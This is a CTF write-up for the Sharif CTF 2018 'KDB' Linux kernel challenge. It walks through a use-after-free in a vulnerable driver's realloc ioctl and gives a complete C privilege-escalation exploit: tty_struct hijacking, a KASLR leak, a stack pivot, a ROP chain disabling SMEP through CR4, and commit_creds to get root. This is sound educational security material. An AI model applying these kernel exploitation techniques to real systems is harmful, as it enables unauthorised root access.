Sharif CTF 2018--KDB
7 February 2018Sharif CTF 2018 was just before Codegate CTF, and the website was down for several hours, so I didn’t finish all the pwn challenges and played Codegate CTF. This linux kernel pwn challenge is not difficult, but only one team solved it and no writeup yet, so I decided to write a brief writeup for it.
Introduction
To understand this writeup, readers should understand some basic knowledge about linux kernel and linux driver. The challenge file can be download in my github.
The challenge provides three files:
➜ kdb ls
bzImage rootfs.cpio run.sh
- bzImage: The kernel image
- rootfs.cpio: The file system
- run.sh: The start script
Let’s take a look at the run.sh first:
#!/bin/sh
qemu-system-x86_64 -cpu kvm64,+smep -m 64M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -smp cores=2,threads=1,sockets=1 -monitor /dev/null -nographic 2>/dev/null
We can see that the running kernel enables SMEP and KASLR protection.
Next we extract the file system, and see the init script:
#!/bin/sh
mount -nvt tmpfs none /dev
mknod -m 622 /dev/console c 5 1
mknod -m 666 /dev/null c 1 3
mknod -m 666 /dev/zero c 1 5
mknod -m 666 /dev/ptmx c 5 2
mknod -m 666 /dev/tty c 5 0
mknod -m 0660 /dev/ttyS0 c 4 64
mknod -m 444 /dev/random c 1 8
mknod -m 444 /dev/urandom c 1 9
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
mount -t proc proc /proc
mount -t sysfs sysfs /sys
insmod /kdb.ko
mknod /dev/kdb c 10 0
chmod a+rw /dev/kdb
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
cat /root/welcome
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
halt -d 1 -n -f
These two lines:
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
Make little infomation left the /proc/kallsyms. For example, we take a look at this file:
/ $ cat /proc/kallsyms | grep prepare_kernel_cred
0000000000000000 T prepare_kernel_cred
0000000000000000 R __ksymtab_prepare_kernel_cred
0000000000000000 r __kstrtab_prepare_kernel_cred
So we comment out these two lines for easier debugging.After we do so, we repack the file system with the following command.
find . | cpio -o --format=newc > ../rootfs.cpio
And now we have address infomation:
/ $ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff8223d1a0 T prepare_kernel_cred
ffffffff8248c210 R __ksymtab_prepare_kernel_cred
ffffffff824930a8 r __kstrtab_prepare_kernel_cred
Again in the init script, we can see the system load the kdb.ko, and the binary can be found in the file system.This should be our target.
The kdb driver
The driver is a buffer allocator, which can allocate, read, write, free, realloc buffer. In the kdb_ioctl function:
signed __int64 __fastcall kdb_ioctl(__int64 a1, int command, __int64 a3){
/* ... */
switch ( command )
{
case 0x13371338: // alloc
case 0x13371339: // read
case 0x1337133A: // write
case 0x1337133D: // free
case 0x1337133F: // realloc
/* ..... */
}
}
The buffer structure is like the following:
struct Manage{
struct Chunk2* next;
struct Chunk2* prev;
};
struct Chunk2{
char name[32];
char* buffer;
unsigned long size;
struct Manage man;
};
The detailed analysis about the driver will be leaved out. To be short, when you want to allocate a buffer, you provide the name and size, the kernel will use kmalloc to allocate a buffer and store it in the Chunk2::buffer. Then you can read,write,etc the buffer. You can use the following program to interact with the driver:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define COMMAD_ALLOC 0x13371338
#define COMMAD_READ 0x13371339
#define COMMAD_WRITE 0x1337133A
#define COMMAD_FREE 0x1337133D
#define COMMAD_RALLO 0x1337133F
char buf[0x2000];
struct Chunk{
char name[0x20];
unsigned long size;
};
struct Chunk2{
char name[0x20];
char* buf;
unsigned long size;
};
void menu(){
puts("1. alloc");
puts("2. read");
puts("3. write");
puts("4. free");
puts("5. realloc");
puts("6. open ptmx");
puts("7. exit");
puts("Choice:");
}
int main(){
int choice;
struct Chunk ch1;
struct Chunk* p1;
struct Chunk2 ch2;
struct Chunk2* p2;
p1=&ch1;
p2=&ch2;
p2->buf=buf;
unsigned long ss;
int fd;
int i;
int res;
int rs;
int pid;
fd=open("/dev/kdb",O_RDWR);
while(1){
menu();
scanf("%d",&choice);
memset(ch1.name,0,0x20);
memset(ch2.name,0,0x20);
memset(buf,0,0x1000);
switch(choice){
case 1:
puts("Name:");
rs=read(0,p1->name,0x20);
puts("Size:");
scanf("%lx",&p1->size);
res=ioctl(fd,COMMAD_ALLOC,p1);
printf("Return value:%d\n",res);
break;
case 2:
puts("Name:");
read(0,p2->name,0x20);
puts("Size:");
scanf("%lx",&p2->size);
res=ioctl(fd,COMMAD_READ,p2);
printf("Return value:%d\n",res);
puts(p2->buf);
for(i=0;i<(p2->size/8);i++){
if(i%4==0)puts("");
printf("%16lx ",*((unsigned long*)(p2->buf+8*i)));
}
puts("");
break;
case 3:
puts("Name:");
read(0,p2->name,0x20);
puts("Size:");
scanf("%lx",&p2->size);
puts("Content:");
read(0,p2->buf,0x1000);
res=ioctl(fd,COMMAD_WRITE,p2);
printf("Return value:%d\n",res);
break;
case 4:
puts("Name:");
read(0,p1->name,0x20);
res=ioctl(fd,COMMAD_FREE,p1);
printf("Return value:%d\n",res);
break;
case 5:
puts("Name:");
read(0,p2->name,0x20);
puts("Size:");
scanf("%lx",&p2->size);
res=ioctl(fd,COMMAD_RALLO,p2);
printf("Return value:%d\n",res);
break;
case 6:
open("/dev/ptmx",O_RDWR|O_NOCTTY);
break;
case 7:
return 0;
}
}
}
Bug
Let’s take a deeper look at the realloc function:
if ( copy_from_user(&s2, a3, 48LL) )
return -14LL;
v3 = s2.size;
result = -1LL;
if ( s2.size > 0xFF )
{
v14 = find_cbuf(s2.name);
result = -22LL;
if ( v14 )
{
if ( v3 > v14->size )
{
kfree(v14->buffer);
v3 = s2.size;
v16 = *(_QWORD *)(unk_9DC - 16360LL);
v15 = s2.buffer;
}
else
{
v15 = s2.buffer;
v16 = *(_QWORD *)(unk_9DC - 16360LL);
}
if ( __CFADD__(v3, v15) || (unsigned __int64)&v15[v3] > v16 )
return -14LL;
When the provided size is bigger than the old size, the old buffer will be freed.However, if the new size is not valid(For example, too big,like 0xFFFFFFFFFFFFFFF), the ioctl will return immediately, leaving the Chunk2::buffer still pointing to the old freed buffer. And it still can be accessed, so we have a Use-After-Free.
We use the interact program to confirm our thought:
- Allocate a buffer named AAA of size 0x100
- Realloc with size 0xFFFFFFFFFFFFFFF
- Allocate a buffer named BBB of size 0x100
- Everything you write to AAA can be read through BBB, and vice versa.
Exploit
As the buffer size has to be bigger than 0xFF, so I choose to exploit through tty struct. The details about this struct can be easily found online.
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
/* ...... */
}
struct tty_operations {
/* ..... */
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
/* ..... */
The szie of the tty struct is 0x2e0, so we create a freed buffer of size 0x2e0, and open(“/dev/ptmx”,O_RDWR|O_NOCTTY), and the tty struct will use the freed buffer.Then we have complete control on the tty struct.
We choose to modify the struct tty_operations pointer in the tty struct ,making it point to our fake tty_operations.
More specific, we fake a tty_operations structure,replacing the ioctl ptr with where we want to jump.And we issue ioctl on the open device and control the rip.
However, control the rip alone won’t give us root shell.We need to call
commit_creds(prepare_kernel_cred(0));
And jump back to userspace and call
system("/bin/sh")
How do we beat kaslr? This is easy, as we have UAF, we can leak some kernel address. Then we can compute the address of other functions and gadget, including those we need.
How do we beat SMEP? Modify the CR4 register to 0x6f0.
Therefore we have to perform ROP. That’s why we choose the gadget “xchg esp, eax” to be the ioctl pointer and pivot the stack. Then we can easily modify the CR4. And all things left can be done within codes in userspace.
The final exploit will be
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define COMMAD_ALLOC 0x13371338
#define COMMAD_READ 0x13371339
#define COMMAD_WRITE 0x1337133A
#define COMMAD_FREE 0x1337133D
#define COMMAD_RALLO 0x1337133F
char buf[0x2000];
struct Chunk{
char name[0x20];
unsigned long size;
};
struct Chunk2{
char name[0x20];
char* buf;
unsigned long size;
};
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
unsigned long membase=0;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long native_write_cr4;
unsigned long xchgeaxesp;
unsigned long popraxret;
unsigned long base;
struct Chunk ch1;
struct Chunk2 ch2;
void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
void get_shell()
{
if(getuid()!=0){
puts("Get root failed!!!");
exit(0);
}
system("/bin/sh");
}
struct tty_operations fake_ops;
char fake_procfops[1024];
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
static void shellcode()
{
commit_creds(prepare_kernel_cred(0));
asm(
"swapgs\n"
"movq %0,%%rax\n" // push things into stack for iretq
"pushq %%rax\n"
"movq %1,%%rax\n"
"pushq %%rax\n"
"movq %2,%%rax\n"
"pushq %%rax\n"
"movq %3,%%rax\n"
"pushq %%rax\n"
"movq %4,%%rax\n"
"pushq %%rax\n"
"iretq\n"
:
:"r"(user_ss),"r"(base+0x500),"r"(user_rflags),"r"(user_cs),"r"(get_shell)
:"memory"
);
}
int main()
{
struct Chunk* p1;
struct Chunk2* p2;
unsigned long *ptr;
p1=&ch1;
p2=&ch2;
p2->buf=buf;
int fd,devfd;
char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fd=open("/dev/kdb",O_RDWR);
memset(ch1.name,0,0x20);
memset(ch2.name,0,0x20);
memset(buf,0,0x1000);
strcpy(p1->name,"aaa\n");
p1->size=0x2e0;
ioctl(fd,COMMAD_ALLOC,p1);
strcpy(p2->name,"aaa\n");
p2->size=0xFFFFFFFFFFFFF;
p2->buf=buf;
ioctl(fd,COMMAD_RALLO,p2);
devfd=open("/dev/ptmx",O_RDWR|O_NOCTTY); // Occupy the tty structure
p2->size=0x30;
ioctl(fd,COMMAD_READ,p2);
ptr=buf+24;
membase=*ptr; //leak kernel address
unsigned long pre_static=0xffffffff8103d1a0;
prepare_kernel_cred=membase-0xffffffff81c1bea0+0xffffffff81a3d1a0;
commit_creds=prepare_kernel_cred-0x1a0+0x3a0;
native_write_cr4=prepare_kernel_cred-pre_static+0xffffffff81008880;
popraxret=prepare_kernel_cred-pre_static+0xffffffff8102da84;
xchgeaxesp=prepare_kernel_cred-pre_static+0xffffffff8100008a;
save_state();
fake_tty_operations->proc_fops = &fake_file_operations;
fake_tty_operations->ioctl = xchgeaxesp;
*ptr = (unsigned long)fake_tty_operations;
ioctl(fd,COMMAD_WRITE,p2);
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
base = lower_address & ~0xfff;
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}
unsigned long rop[]={
popraxret,
0x6f0,
native_write_cr4,
base+0x1000,
(unsigned long)shellcode
};
memcpy((void*)lower_address, rop, sizeof(rop));
ioctl(devfd,0,0);
return 0;
}
Run it and get root shell:
/ $ id
uid=1000(suctf) gid=1000(suctf) groups=1000(suctf)
/ $ ./exploit
/ # id
uid=0(root) gid=0(root)